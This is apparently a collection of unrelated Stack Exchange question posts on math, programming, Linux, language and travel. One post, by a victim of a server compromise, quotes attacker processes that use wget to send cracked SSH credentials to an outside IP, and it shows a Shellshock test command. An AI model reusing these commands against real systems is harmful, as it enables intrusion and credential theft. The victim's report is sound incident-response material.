I've been told that if we have $$ ax \equiv b\ (mod\ m)\land  d = GCD(a,m) | b $$ then it has the same solutions of $$\frac{a}{d}x \equiv \frac{b}{d}\ (mod\ \frac{m}{d})$$  What is a simple yet effective way to prove it?  Furthermore the first one could potentially have different solutions, meanwhile the second, since $GCD(\frac{a}{d},\frac{m}{d}) = 1$ has got only one solution, how is it possible? I apologize if it might be a duplicate, but couldn't find it.


$f:\mathbb{R} \to \mathbb{R}$ we have $f(b)-f(a)=(b-a)f'(\frac{a+b}{2})$ such function is polynomial of degree less than or equal to two.

Consider differential function $f:\mathbb{R} \to \mathbb{R}$ with the property that for all $a,b \in \mathbb{R}$   we have  $$f(b)-f(a)=(b-a)f'(\frac{a+b}{2})$$  Then show that every such function is polynomial of degree less than or equal to two.  i was thinking of applying Roll theorem. but got nowhere.please  provide a hint   Thanks in advanced


Select date via the calendar cannot typping in

I had link a html type text to jqueryui datepicker. I only want user select date via the calendar not typping in, any function can do this?


If a prime (of the form $4k+3$) divides the sum of two squares, then it divides each of the two numbers

Statement : A prime $p$ is of the form : $3 \pmod 4$. Show that if $p \mid a^2+b^2$, then $p \mid a$ and $p\mid b$.   I don't know exactly how to proceed. I got the following proof from somewhere:     Assuming that $p\mid a^2+b^2$ and $p\nmid a$, we get that $\exists k \ni ak\equiv 1 \pmod p \implies (ak)^2+(bk)^2\equiv k^2(a^2+b^2)\equiv 0 \pmod p \implies (bk)^2 \equiv -1 \pmod p$. And this is a contradiction.   Please explain me why $(bk)^2\equiv -1 \pmod p$ leads to a contradiction.


can anybody give me a solution to truncate all logfile in /var/log/ directory?  and a question just for knowledge, is it a good idea or not?  #!/bin/bash LOGDIR="/var/log" for logfile in $(ls $LOGDIR/*log) do   truncate -s 0 $logfile done


I try solve a Munkres's question. I have already solved a+b. (There is a mistake in line 3, the right topology is that U is open in X if $U\cap X_i$ is open in $X_i$ for each i.)  for c: I've tried using the hint. defined $Y_0 = A\cup B$, and for any $n>=0$ $Y_n=A\cup B\cup X_n$. Then $f_0:Y_0\rightarrow[0,1]$ where $ f_0(A)={0}$ and $f_0(B)={1} $ is be continuous. Now assume we have continuous function $f_n:Y_0\rightarrow[0,1]$ where $ f_n(A)={0}$ and $f_n(B)={1}$, then I want to build $f_{n+1}:Y_0\rightarrow[0,1]$ such that. But this is where my problem is. I think I need  to use Tietze theorem but I'm not sure how. I after that it's not clear to me how to get continuous $F:X\rightarrow[0,1]$ that  separates A and B. Will appreciate any help and idea.


Is a stripboard strip designed for 240V?

I need to use a relay to control a 240V circuit via a low voltage (5V) one:    Beside making sure that the "high voltage area" is correctly insulated from users one point which worries me is whether the strips marked with a triangle are designed to be used with mains voltage. The expected current will be about 2A.  Which current are typically stripboard designed for? I am looking for an order of magnitude (100mA vs 1A vs 10A)


Every time I mount any external hard drive or other partitions and open it in nautilus, clicking on the nautilus icon again opens a new window. Can I stop this from happening? If not, is there any workaround for this because its kinda annoying. Also, there is no way to switch back to the old window apart from doing Alt+Tab.


I need a Clarification about Sql server 2014 developer edition licensing.I came to know that,for a Cheap price(50$ or something) developer edition is available.also it is given that multiple users can be connection only requirement is a developer licence for user.can anyone please explain me what is developer edition and also with one developer edition can i connect 4 client machienes to one server.?(for demonstation purposes only,so no worry about max db size limit).Kindly help me.


How does one find the value of   $$1+\cfrac 1 {2+\cfrac 2 {3+\cfrac{3}{4+\cfrac{4}{5+\cfrac{5}{\ddots}}}}} \  \text{ or }\ 1+\cfrac{2}{3+\cfrac{4}{5+\cfrac{6}{7+\cfrac{8}{9+\cfrac{10}{\ddots}}}}}$$  Is there any way to find a continued fraction that is not necessarily periodic, but has a definite pattern to it?


Remove files older than 5 days in UNIX (date in file name, not timestamp)

I want to delete log files which are older than 5 days from a directory. But deletion should not be based on the timestamp of file. It should be based on the name of file. For Example todays date is 07/05/2012 and the directory contains 10 files of names like ABC_20120430.log, ABC_20120429.log, ABC_20120502.log, ABC_20120320.log etc. I want to be able to remove the files by extracting the date from the name of the file.


Why can't I quit Finder with the shortcut (cmd+q)

I usually quit my applications with the shortcut Command Q but it doesn't work for the Finder app. I can hide it with  Command  H but I can't quit it.  Any suggestion to solve this?


How to evaluate $\iint_A \frac{1}{x^2+y^2}\,\mathrm dx\,\mathrm dy,$ where $A=[\frac{1}{a},a]\times[0,1]$

I want to compute  $$\iint_A \frac{1}{x^2+y^2}\,\mathrm dx\,\mathrm dy$$ where $A:=\left[\frac{1}{a},a\right]\times[0,1]$.  I got that this is equal to $\int_{1/a} ^a \frac{1}{x}\arctan \Big(\frac{1}{x}\Big) \mathrm dx\ $ and I don't know what to do from here. Can somebody help me, please?


Do Indian citizens need a transit visa to connect in Rome (Fiumicino airport)?

I am resident of India (Indian passport). I am travelling from Israel (Tel Aviv) to  Rome (Fiumicino) on El Al Airlines, and from Rome (Fiumicino), I fly to India (Delhi) on Air India Airlines.   The connection time between the two flights is 3 hours.   Do I need to get a transit visa or is it not required?


Should I use a hyphen after -ly when modifying a verb in the past participle verb?

Which of these are acceptable? Is one preferable over the other?   "Chemically-deposited tourmaline is never periwinkle." "Chemically deposited tourmaline is never periwinkle."   Also, is the title to the this question asking what I'm trying to ask?  (I realize that there are other questions about hyphenation in similar contexts; I'm asking specifically about -ly adverbs.)


Traveller sees recurring card players whose faces are masks

I'm remembering a novel of someone travelling through some land, or, has wound up off somewhere and is trying to get back to where he started.  The main part that is remembered is that after awhile he'll get to some inn, tavern, something, and off in a corner around a table there will be a cluster of people playing cards.    After awhile, he realizes that the actuality is that he keeps seeing the same card players playing the same card game, no matter where he arrives.  In time, or by the end of the book, he suddenly, finally realizes that what he had taken for the card player's faces are actually masks, and there are no faces behind the masks.   What is the title and author of this novel?


$F$ closed, $K$ compact $\implies FK$ is closed in group $G$

Let $G$ be a Hausdorff topological group, let $F$ be a closed and let $K$ be compact, both subsets of $G$.  Then $FK$ is closed in $G$.      Attempt:  $aF$ is closed in $G$ for each $a \in G$.  All we have to do is show that $FK$ is compact since a compact subset of a Hausdorff space is closed.  $FK \subset \bigcup\limits_i U_i$


A quiz question based on finding sum of series

This question was asked in my  analysis quiz and I had  no clue in the exam how it could be solved.So, I am asking here .  Find the sum of series $\sum_{n=0}^{\infty} \frac{n^2} {2^{n} } $ .  Unfortunately, I have no idea on how to approach this problem.


Getting the name of what program ran an console app

I need to get the name of the program that launched a console application i am making in Visual studio. Any ideas on how i can do this?  I am doing this so i can see for how long robots in out company is running and when they are running.


In this quoted example, is it okay to shift verb tenses mid-sentence?  Background: The narration is written in present tense. The narrator is referencing something that was said in the past, but the information in that sentence is presently true.  Version 1:     She said the world would never be the same now that we   knew angels were real. I'm not so sure.   OR Version 2:     She said the world will never be the same now that we   know angels are real. I'm not so sure.   OR Version 3     She said the world would never be the same now that we   know angels are real. I'm not so sure.   Thank you for your insights.


Trigonometry question finding the sin and tan

If angle $\alpha$ is reflex, and $\cos \alpha = -\frac{9}{41}$, without using a calculator, evaluate  (a) $\sin \alpha$ (b) $\tan \alpha$ (c) $\cos (\alpha - 180\deg)$     .


Defining spatial operators (Equals, Disjoint, Touches, Within, Overlaps, Crosses, Intersects, Contains, Relate)?

Ok, I have to admit, I don't really delve too deep into the semantics of the spatial operators list below, I'm more of a user, I write software to drive the SQL most of the time and don't really think about it too much.  However, I have a situation where a spatial operation I'm doing is going dog slow, on a table that has great indexes on and has never caused a problem before now.  As a result, I'm trying to figure out which of the following is my best bet to use, that will give me the best performance, however, sometimes I find my searches don't return anything when I know they should, and sometimes return stuff when they shouldn't.  SO I'm reaching out, to ask if some one can give me the actual definition, such as criteria to match, fully within enclosing geometry, or within outer ring etc etc of each of the following operations:  Equals(Geom1, Geom2):int Disjoint(Geom1, Geom2):int Touches(Geom1, Geom2):int Within(Geom1, Geom2):int Overlaps(Geom1, Geom2):int Crosses(Geom1, Geom2):int Intersects(Geom1, Geom2):int Contains(Geom1, Geom2):int Relate(Geom1, Geom2):int   If you can give a concrete example of when they will and will not match too, that would be great.  For reference, I'm searching on a table of Linestrings, using a rectangular polygon, rotated to be pointing in the direction of travel (It's part of a traffic managment app)  For further reference, here is a sample of the SQL the app generates to perform a search:  SELECT recordID,AsBinary(geometry) AS geometry,Distance(GeomFromText('POINT(-1.84101 54.85078)',4326), geometry) AS distanceFromGps FROM linegrid WHERE Intersects(GeomFromText('POLYGON ((-1.8413149820810311 54.850782468607292, -1.8409507853094111 54.850952257034713, -1.8408279009723911 54.850864894077496, -1.8411920982612455 54.850695105650068, -1.8413149820810311 54.850782468607292))'), geometry)   You can see in this example I'm using intersects trying the others as mentioned doesn't quite give the results I expect, hence why I'm asking the question.  Please note, I'm not particularly bothered about actual faster/other ways of doing this at the moment, BUT if you do happen to spot a better way do feel free to shout up :-)  For now all I'm mostly trying to understand is the differences between each of the operations.  As for doing it faster/better I intend to open a different question for that at a later date.  For more reference, the Spatial engine this is working against is Spatilite 2.3.0, and I can't upgrade it due to the devices it's running on not having a more up to date build for it (Windows CE)    I'm going to choose mintix'es answer here as that provided a super easy to understand grid and description of all the various operations, which answered my question.  I'm still faced with getting performance on the routines up, but I do now have a few strategies to try on that one, I may still seek advice here from the group with regards to that.  @Vince deserves some credit too, as that white paper is definitely the definitive answer, but it's also quite challenging to read (I had to read through it several times) , for anyone wanting the real I am on these operations The Clementini paper is the way to go, if you need an easy to understand overview while developing solutions however, the FME link should be open in another browser tab.


My method in Java is keeps running when I want it to stop

I have to make a program that interacts with the user interface that ask a user for a number and a base to convert to binary, hex, or octo. I made a program that works but when the user types in "0 0", it is suppose to terminate and end the program. My program on the other hand doesn't do that but keep going in the while loop.   Here is the code:   import java.util.*;  //for Scanner  public class BaseConversionApp { public static void main(String[] args) {     Scanner console = new Scanner(System.in);     String combo = numbers(console);      while(combo != "0 0") {         if(combo.length() > 0) {     //breaks the string into integers to do math to it             Scanner s = new Scanner(combo);             int count = s.nextInt();             int countSecond = s.nextInt();             s.close();             conversion(count,countSecond);             System.out.println();             //now if it goes 0 0 or              String again = numbers(console);             //  conversion(count,countSecond);         }     }   //prompts the user for two numbers and checks if the bases are 16, 8, 2. public static String numbers(Scanner console) {         String combination = "";         String nothing = "0 0";         System.out.print("Enter an integer and the new base: ");         int integer = console.nextInt();         int base = console.nextInt();         if(base == 16 || base == 2 || base == 8) {             combination = integer + " " + base;             return combination;         } else if (base == 0 && integer == 0){             System.out.println("Good bye!");             return nothing;         } else {             System.out.println("Sorry, that is an invalid base. Please enter 2, 8, or 16  only.");         }         return "";     }      //converts the integers into binary, hexa, or octo.     public static void conversion (int integer, int base) {          //takes cares of the special case if the user wants to know hexidecimal         if(base <= 16) {             String calculations = Integer.toString(integer, base);               if(integer > 0 && base > 0) {                 System.out.println(integer + " in binary -> " + Integer.toString(integer,  base));             }         }     } }


Linker error when using a template class?

I'm getting an "unresolved external symbol "public:__thiscall hijo<int>::hijo<int>(void)" referenced in function_main   I started a new project cause I was having this same error on another larger project. The error occur when I try to allocate space using the new keyword. If this error is silly please forgive me cause I haven't programmed anything in the last months.    /********************file hijo.h******************/ #pragma once #ifndef hijo_h #define hijo_h  template <class A> class hijo { public:     hijo(void);     ~hijo(void); }; #endif     /********************file hijo.cpp***************/     #include "hijo.h" #include <iostream> using namespace std;  template <class A> hijo<A>::hijo(void) { } template <class A> hijo<A>::~hijo(void) { }   /*********************at main() function ***************/  #include <iostream> #include "hijo.h"  int main(){      hijo<int> *h = new hijo<int>; <----  PROBLEM AT THIS LINE      system("pause");     return 0; }


Should moderators be able to see who flags a comment?

Background, elaborating on :  There are 3 queues of flags:   Comment Flags Moderator Flags (where you type in the little message) Spam/Offensive (That 10K Users can see)   Moderator Flags These flags have your name attached to them, let you write a message, and are the only ones to set off the mod-signal (the red box in the toolbar)  Comment Flags These flags do not show who flags an item.  It shows the # of flags a comment has, its up-vote score, the question thread, comment, author, and built-in links to clear flags and delete comment. (Personally, I never delete a comment without visiting the thread to review all comments)  Spam/Offensive I won't bother describing this in detail since most of you have 10K rep on some site, but the only difference for a mod is we can clear the flags on an item.  Now, on Meta, we get a lot of flags on comments that make absolutely no sense to me.  It's obvious there's nothing offensive about the comment.  Usually the comment is disagreeing with someone.  My assumption (which I never act on because it's unverified) is that whoever is being disagreed with is flagging the comment.  Frankly, I consider this to be abusing the system and even-moreso bloody annoying.  Having to sort through a bunch of comment threads to see if something is worse than it appears in the actual comment takes time.  If someone continually flagged items with write-ins on obviously-fine items, I would tell them to stop.    My question is - should Moderators be able to see who flags comments?  I can understand you may be concerned that, by knowing who is flagging the item, we would take sides with or against that person.  I don't have a magic potion that would prevent that, just my track record and honesty.  As Bill said:     I think we're all mature enough to not   try and get retribution against   someone for flagging it. We were all   chosen as moderators (many of us by   community vote) at least in part for   this reason.   I think with the ability, we'd be able to sort out troublemakers quickly/more efficiently, and (hopefully) show users that we expect them to be more mature and not go flagging everyone who disagrees with them.  I expect it would also reduce the time it takes to wade through comment threads by seeing if it's just A & B butting heads again.    This is just my take on it, from Meta.  I'm curious to see what the SO mods think.    A recent reason for showing mods who flagged a comment:


"express congratulation to someone for" VS "express congratulation to someone on"

He expressed congratulation to you for your election as president of America.   He expressed congratulation to you on your election as president of America.      Which preposition is good?


"To put on make-up" and "to wear make-up"

I asked this question a few days ago but I am still confused about the difference of meaning between "to put on make-up" and "to wear make-up".


Why doesn't the LHC accelerate electrons?

Electrons   have a much bigger charge density as the protons (and especially lead nuclei), aren't compound particles as the protons (and especially lead nuclei) are able to get a much bigger energy with the same fields as the protons (and especially the lead nuclei).   Why seems common for the big colliders after the LEP to use protons (and much bigger nuclei)?  Reacting comments: Yes, to get good experimental data about quark matter they need a lot of hot quarks (= collided big nuclei). But to create new particles, the energy per degree of freedom needs to be maximized, and this maximum is at the single particle with the highest charge density, and this is the electron.


What is the worst that can happen if you over clock CPU or GPU?

What can actually happen if CPU or GPU is over clocked?   Many people over clock their CPU so much it 'toasts'. What do they mean by toast. Does it really go up in flames or does it just stop working.  My Question  Back to my question what is the worst thing that can happen that could be considered dangerous.  Hope this makes sense


How do I create an installation CD in Windows XP?

I keep seeing information on installing ubuntu from a live CD, but can't find any info on how to create the "live CD".  Is that information posted anywhere, or can you tell me how to do it.  I've already downloaded what I thought I'd need, but I can't seem to make it work.  Thanks for the help.


I am new to unix and just started with the shell and its commands. I have to do a few tasks for an assignment. And my Question is how do I print out -e with echo. I know there is the $ printf '%s\n' -e Option, but i have to use echo.


Preprocess categorical variables with many values

I have a dataset that consists of only categorical variables and a target variable. I want to predict the (binary) target variable with the categorical variables.  I am trying to do this in Python and sklearn.  The categorical variables have many different values. I was thinking to create dummy variables for each value in all the categorical variables. However, in the end this results in a sparse data set with thousands of variables.  How would you go about to reduce the number of dummy variables? Would you use Chi2 to select useful features?  Or would you not make dummy variables at all?


I often come across sentences such as, "Our program assists, at no cost, students maintain independent living..." I believe it should be written as, "Our program assists, at no cost, students to maintain independent living..."  Input?  This isn't a question about the word "help" - this is specifically about the word "assist."


how to divide number using double or decimal in c#

when divide in c# Answer is different and when i divide from calculator answer is different kindly solve it.  c#  double div=(double)100000/30/9;  Answer 370.37037037037038  370.37037037037038*9*30 //100000.0000000000026    in calculator   Answer 370.3703703703704  370.3703703703704*9*30 //100000  i need exact answer like a calculator.


c++11 metaprogramming: check for method existence

1) I have two classes class A and class B which both have a method called foo but with different argument lists.    class A { public:   void foo(int a); };  class B { public:   void foo(int a, int b); };   2) Further, I have a class C with template argument T that also has a foo method as following  template <typename T> class C { public:   void foo(); private:   T t_;   int a_;   int b_; };   3) I would like use both class A and class B as template argument for class C. Saying that I would like to have a method C::foo to be implemented like following:  template <typename T> void C<T>::foo() {   if (compile time check: T has foo(int a, int b))    t_.foo(a_, b_);   else    t_.foo(a_); }   How can I express the if statement above in C++11?


rigorous proof that : $E[X] = \sum_{k \in \mathbb{N}} \mathbb{P}(X \geq k)$

Let $X$ be a random variable : $\mathbb{N} \to \mathbb{N}$. Then if $X$ has an expectation we have :    $$E[X] = \sum_{k \in \mathbb{N}} \mathbb{P}(X \geq k)$$   It's quite logical that its true. The problem is that I don't know how to prove this result rigourously just by manipulating sums. For example I can do the following : $\sum_{k \in \mathbb{N}} \mathbb{P}(X \geq k) = \sum_{k \in \mathbb{N}} \sum_{i = k}^\infty \mathbb{P}(X = i)$. It would be nice if I can isolate the $\mathbb{P}(X = i)$ for single $i$, but I don't know how to do this. Maybe I should introduce indicator functions somehow ? and then use Fubini to interchange the summations ?   Thank you !


Red Hat SFTP server bad ownership for chroot directory

I am building a SFTP server on Red Hat 6.9 (to be clear, I'm using the FTP extension of OpenSSH). I followed the following guide:    I configure everything exactly how it is described. The client OS I'm using is Windows 10. I've tested with Putty's SFTP client and WinSCP (I do not believe my problem to be a client related). When I attempt to connect, I get prompted for a username, then password. After entering my password, the session immediately closes. /var/log/secure shows these relevant messages:  Aug  2 14:30:28 SFTP_Server sshd[4087]: pam_unix(sshd:session): session opened for user scott.ftp by (uid=0)   Aug  2 14:30:28 SFTP_Server sshd[4089]: fatal: bad ownership or modes for chroot directory "/sftp/scott.ftp/data"   Aug  2 14:30:28 SFTP_Server sshd[4087]: pam_unix(sshd:session): session closed for user scott.ftp   To show the directory permissions match the tutorial:    [root@SFTP_Server data]# ls -alh / | grep sftp drwxr-xr-x    4 root              root      4.0K Aug  2 12:37 sftp   [root@SFTP_Server data]# ls -alh /sftp   total 16K   drwxr-xr-x   4 root root 4.0K Aug  2 12:37 .   dr-xr-xr-x. 25 root root 4.0K Aug  2 12:35 ..   drwxr-xr-x   3 root root 4.0K Aug  2 12:38 scott.ftp    [root@SFTP_Server data]# ls -alh /sftp/scott.ftp/   total 12K   drwxr-xr-x 3 root              root      4.0K Aug  2 12:38 .   drwxr-xr-x 4 root              root      4.0K Aug  2 12:37 ..   drwxrwx--- 2 scott.ftp sftpusers 4.0K Aug  2 12:38 data    [root@SFTP_Server data]# ls -alh /sftp/scott.ftp/data/   total 8.0K   drwxrwx--- 2 scott.ftp sftpusers 4.0K Aug  2 12:38 .   drwxr-xr-x 3 root              root      4.0K Aug  2 12:38 ..     I'm not sure what gave me this idea to try, but for troubleshooting, I changed permissions on the "." directory:    [root@SFTP_Server data]# pwd   /sftp/scott.ftp/data   [root@SFTP_Server data]# chown root:root .   [root@SFTP_Server data]# ls -alh   total 8.0K   drwxrwx--- 2 root root 4.0K Aug  2 12:38 .   drwxr-xr-x 3 root root 4.0K Aug  2 12:38 ..     Now I try to connect again and I can successfully connect. But I cannot list directory or make directory or any other action. The error I get here is "permission denied". While still connected over SFTP, in an alternate SSH connection, I change the permissions back:    [root@SFTP_Server data]# chown scott.ftp:sftpusers .   [root@SFTP_Server data]# ls -alh   total 8.0K   drwxrwx--- 2 scott.ftp sftpusers 4.0K Aug  2 12:38 .   drwxr-xr-x 3 root              root      4.0K Aug  2 12:38 ..     Now I can create directories and other actions in the SFTP session. I exit the SFTP session and try to connect and the login fails as described above.  Any help is greatly appreciated.


Server being hacked with lots of weird process

(I have asked same question at  and was told better to ask here, could some admin help delete the post at superuser.com? Thanks.)  I was told by our IT that one of our servers has been hacked. There are a lot of process ran by www-data like:  www-data   300  0.0  0.0  30212  1892 ?        S    13:54   0:00 wget -O .tmp http://162.243.121.222/ppp.php?request=pi:raspberry:66.186.101.162 www-data   301  0.0  0.0  30212  1904 ?        S    14:11   0:00 wget -O .tmp http://162.243.121.222/ppp.php?request=admin:admin:66.36.202.41 www-data   302  0.0  0.0  30212  1896 ?        S    14:02   0:00 wget -O .tmp http://162.243.121.222/ppp.php?request=pi:raspberry:66.60.63.21 www-data   303  0.0  0.0  30212  1896 ?        S    14:07   0:00 wget -O .tmp http://162.243.121.222/ppp.php?request=admin:admin:66.207.51.193 www-data   304  0.0  0.0  30212  1896 ?        S    13:54   0:00 wget -O .tmp http://162.243.121.222/ppp.php?request=admin:admin:66.76.78.77   In the /tmp folder, there are weird files like:  -rw-r--r-- 1 www-data www-data     105 Nov 17 21:34 a -rw-r--r-- 1 www-data www-data      56 Nov 17 21:34 A drwxr-xr-x 2 www-data www-data    4096 Nov 18 13:16 .m/ -rw-r--r-- 1 www-data www-data 3891200 Nov 17 21:26 m.tar   And the contents of .m folder:  dli@ser2:/tmp/.m$ l nobash.txt  pass.txt*  print*  pscan*  rand*  ssh2*  su*  t.log  vuln.txt   Part of nobash.txt  ubnt ubnt 66.0.5.106 22 ubnt ubnt 66.0.16.109 22 ubnt ubnt 66.0.21.146 22 ubnt ubnt 66.0.153.218 22 ubnt ubnt 66.0.108.178 22 ubnt ubnt 66.0.98.114 22 ubnt ubnt 66.0.75.34 22 ubnt ubnt 66.0.108.138 22 ubnt ubnt 66.0.216.155 22 ubnt ubnt 66.0.197.50 22 ubnt ubnt 66.0.171.194 22   Part of vuln.txt  Linux -> ubnt ubnt 66.8.234.101 22 Linux -> ubnt ubnt 66.27.64.22 22 Linux -> ubnt ubnt 66.61.43.61 22 Linux -> ubnt ubnt 66.66.26.165 22 Linux -> ubnt ubnt 66.94.178.113 22 Linux -> ubnt ubnt 66.129.37.62 22 Linux -> ubnt ubnt 66.146.254.112 22 Linux -> ubnt ubnt 66.147.115.66 22 Linux -> ubnt ubnt 66.169.84.19 22 Linux -> ubnt ubnt 66.205.223.146 22   Part of t.log  Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> Linux:-> ubnt:ubnt:66.0.5.106 ubnt:ubnt:66.0.16.109   I used last to see if there was any login history but found nothing. I also su to www-data user, but I could not find anything helpful.  Now I rebooted the server. What I want to ask is how to prevent this kind of thing from happening again? Is there a way to trace back to who is doing this?  Could this be caused by shellshock bash vulnerability:  dli@srv2:~$ env x='() { :;}; echo vulnerable' bash -c 'echo hello' vulnerable hello   Many thanks!


On the surface, is the law of maximum entropy production analogous to the principle of least action?

I just have read about the law of maximum entropy production. Someone has idolized it enough to make a whole website just for it:      A system will select the path or assemblage of paths out of available paths that minimizes the potential or maximizes the entropy at the fastest rate given the constraints   Isn't this exactly how the principle of least action works? I know that the two are different, one is applied in microscopic and one in macroscopic, but without looking to its root, they are the similar to each other. It is surprisingly that there is no article about the similarity between this, or at least I couldn't find one. Do you have any idea about this?


I'm building a website, and there is a input that allows the user to write some text and search for it on google. I have everything working already, except that the user has to click the search button to make it go to google.  I wanted to be able to press enter key and it search. Is there any way?  code:       <input placeholder="Pesquisar na Web" id="google-search">


I don't like SuperUser THAT Much! (Wrongly Reward Enthusiast Badge)

So, the people on SuperUser are really awesome and I'm glad you guys are keeping that place full of information.   However, I visited SuperUser today after my little plugin told me that I had visited SuperUser for 30 consecutive days. The thing is, I almost never visit SuperUser. So obviously I was surprised to learn that I got a badge for visiting a site I never go to.  I'm guessing this is not a program issue. So, my theory is that it has to do with this plugin I have on Google Chrome. Everyday, multiple times a day, it goes to my recent activity page on all 4 sites and finds out my rep.   Would this be how I got my badge?


how can we prove by induction that a set of subtrees satisfies the Helly property of a tree T? i.e if a set of subtrees of T has the property that two of these subtrees have a common non-empty intersection, then the intersection of all the subtrees is also not empty I have drawn out some trees to prove that this is true but I'm not sure how to formally write out the proof


How to split a file lines with space and tab differentiation?

I have a file in below format     mon 01/01/1000(TAB)hi hello(TAB)how r you   Is there any way to read the text in such a way to use '\t' alone as delimiter (and not space)?  So sample output can be,     mon 01/01/1000      hi hello       how r you   I couldn't use fscanf(), since it reads till the first space only.


Why do accelerating electrons emit radiation?

I know how you can emit light with an alternating current, running back and forth, creating an electric field in addition to the magnetic field.  But why does an electron emit light when it gets accelerated, there is no positive end to create an electric field.  Further more, as opposed to talking about currents, talking about acceleration seems to be a different beast entirely.


Show that, if $\gcd(r,s)=1$, then $\mathbb{Z}/r \times \mathbb{Z}/s \cong   \mathbb{Z}/rs$. Show that this does not hold if $\gcd(r,s) \neq 1$.   Hint for the first part: there are two possible maps: either $(\bar   a,\bar b) \mapsto \overline{sa+rb}$ in the forward direction, or   $\bar a \mapsto (\bar a, \bar a)$ in the reverse direction; however   these are not inverse to each other: the composition of the   two directions is multiplication by $r+s$.  Hint for the second   part: Show that the order of every element in $\mathbb{Z}/r \times \mathbb{Z}/s$   is a factor of $\operatorname{lcm}(r,s)$. (Why do the two maps given before no longer define isomorphisms in this case?)


How to create workspaces in Ubuntu 20.04

How can you create and enable workspaces in Ubuntu 20.04. I can't seem to find the option to make them and enable them in GNOME desktop.


Speaking different languages in Ghost in the Shell

Just watched , a movie inspired by , and occurring in Hong Kong. Being a movie on a non-english country, usually one of two things happen:  Movie is (almost) entirely in english Movie is entirely in foreign language  With american actors, the first option was the obvious go-to. In these cases, it is frequent to show the characters starting to speak the foreign language (just for a couple of sentences), and then switch to English. The idea is to convey to the user that they are speaking another language but that it is understandable to the characters, just like English is to the viewers. In fact, sometimes the opposite is done, where characters speak foreign languages without subtitles to give the viewer the sensation of hostility or confusion (see  or ). However, in Ghost in the Shell,  only speak in Chinese (or Japanese?), while all others go for English. Why? It doesn't seem that they are both speaking the same foreign language. The Asian actor is the only one speaking constantly in Chinese. Subtitles appear on his lines, so the viewer is meant to understand them, just like the characters. Is the language used meant to be literally interpreted (e.g., they are actually speaking English and Chinese to each other)? Or is there some perspective being conveyed to the viewers? In the former, why would the Public Security Section 9 speak English most of the time? In the latter, why this approach with only specific characters speaking the foreign language?


So I saw some similar questions here but I just could not understand them.  My table:  'timestamp' int(30) NOT NULL, 'clientguid' varchar(32) NOT NULL, 'clientip' varchar(32) NOT NULL, 'serverip' varchar(32) NOT NULL)   I have 4 variables  $TimeStamp $ClientGUID $ClientIP $ServerIP   My query should do this: if there is a row with clientguid that matches $ClientGUID:  UPDATE 'mytablename' SET 'timestamp' = '$TimeStamp','clientip' = '$ClientIP','serverip' = '2.2.2.24' WHERE 'mytablename'.'clientguid' = '$ClientGUID');   If there is not a row matching that:  INSERT INTO 'mytablename' ('timestamp','clientguid','clientip','serverip')  VALUES($TimeStamp,'$ClientGUID', '$ClientIP', '$ServerIP');   I don't have to worry about escaping and validating, that has already been done I just need a statement that will accomplish this. :)


Adding the consensus to review's history

Today, I started exploring the reviews section on Stack Overflow and specially the Triage queue.  In the  section I can see all my reviews, and also the triage category I chose (for example, 'Looks OK', 'Should Be Improved', 'Skip', etc.), but I can't see the final consensus of each review unless I click on one of them, and I have to select each review manually to see its consensus.  Why doesn't the review's history include the consensus of our each review next to it, so every one will know that he is doing reviews correctly? And how can I suggest that to the community?  Update:  Maybe something like this:    Second Update:  Following Saposhiente's remarks within comments, I want to clarify that the checkmarks in the picture above means that the reviewer's choice matched the consensus.  However, the picture is only a simplified example regarding the emplacement where we can add the consensus column. Thus, I join the opinion of Saposhiente, suggesting to add a:     Consensus column that lists what exactly the consensus was, and   bolds the differing items


Book recommendation for complex numbers and co-ordinate geometry

Can someone suggest me good book for complex numbers and co-ordinate geometry with good tough questions I have not explored these subjects much so I wanted to further become fluent in these segments of mathematics.


How to use same content from another site without getting a penalty for duplicate content?

I need to use content from a testimonials page of another site, but I don't want to be caught for duplicate content.  Is there something I can do to tell google that the div where the content is is using content from another external page?


Why do I get TypeError: can't multiply sequence by non-int of type 'float'?

I am typing to get a sale amount (by input) to be multiplied by a defined sales tax (0.08) and then have it print the total amount (sales tax times sale amount).  I run into this error. Anyone know what could be wrong or have any suggestions?   salesAmount = raw_input (["Insert sale amount here \n"]) ['Insert sale amount here \n']20.99 >>> salesTax = 0.08 >>> totalAmount = salesAmount * salesTax  Traceback (most recent call last):   File "<pyshell#57>", line 1, in <module>     totalAmount = salesAmount * salesTax TypeError: can't multiply sequence by non-int of type 'float'


I captured this picture from the movie A Beautiful Mind.  I see this is a problem solving for the dimension of a quotient space, so I guess $W$ is assumed to be a subspace of $V$, and let's also assume $V$ is a vector space over $\mathbb{Q}$.  I cannot figure out what $X$ is here. Also, how do I solve this?


Filling areas using transparent color without affecting the border

I am drawing a figure which shows several tetrahedrons in Illustrator. I have drawn all the line segments and connected them at the endpoints. Now the figure has been like this.  Now I want to fill the areas surrounded by the line segments. I did this as follows: first selected 3 line segments, join them and fill the color.  However, I found another problem. Since there are dashed lines in this figure, if the 3 line segments contains one which is dashed, the join operation will cause all the lines dashed. That is what I don't want.  So What is the correct operation if I want to meet my purpose?


Does it make sense to add a quadratic term but not the linear term to a model?

I have a (mixed) model in which one of my predictors should a priori only be quadratically related to the predictor (due to the experimental manipulation). Hence, I would like to add only the quadratic term to the model. Two things keep me from doing so:   I think I read somehwere that you should always include the lower order polynomial when fitting higher order polynomials. I forgot where I found it and in the literature I looked at (e.g., Faraway, 2002; Fox, 2002) I cannot find a good explanation. When I add both, the linear and quadratic term, both are significant. When I add only one of them, they are not significant. However, a linear relation of predictor and data is not interpretable.   The context of my question is specifically a mixed-model using lme4, but I would like to get answers that could explain why it is or why it is not okay to inlcude a higher order polynomial and not the lower order polynomial.  If necessary I can provide the data.


How is the hot questions list on Stack Exchange generated?

The first page of stackexchange.com is the hot questions list. How is it generated? How often does it refresh?


The number of partitions of $n$ into distinct parts equals the number of partitions of $n$ into odd parts

This seems to be a common result. I've been trying to follow the bijective proof of it, which can be found easily online, but the explanations go over my head. It would be wonderful if you could give me an understandable explanation of the proof and let me know how I'd go about finding such a bijection.


My computer's specs are: System: Microsoft Windows XP         Professional         Version 2002         Service Pack 3  Computer:         Intel(R) Core(TM)2 Duo CPU         E7500 @ 2.93 GHz         2.93 GHz, 1.99 Gb of RAM  If my computer can't run the current version of Ubuntu, are there older versions of Ubuntu can run on this PC?


Is history expansion disabled in scripts?

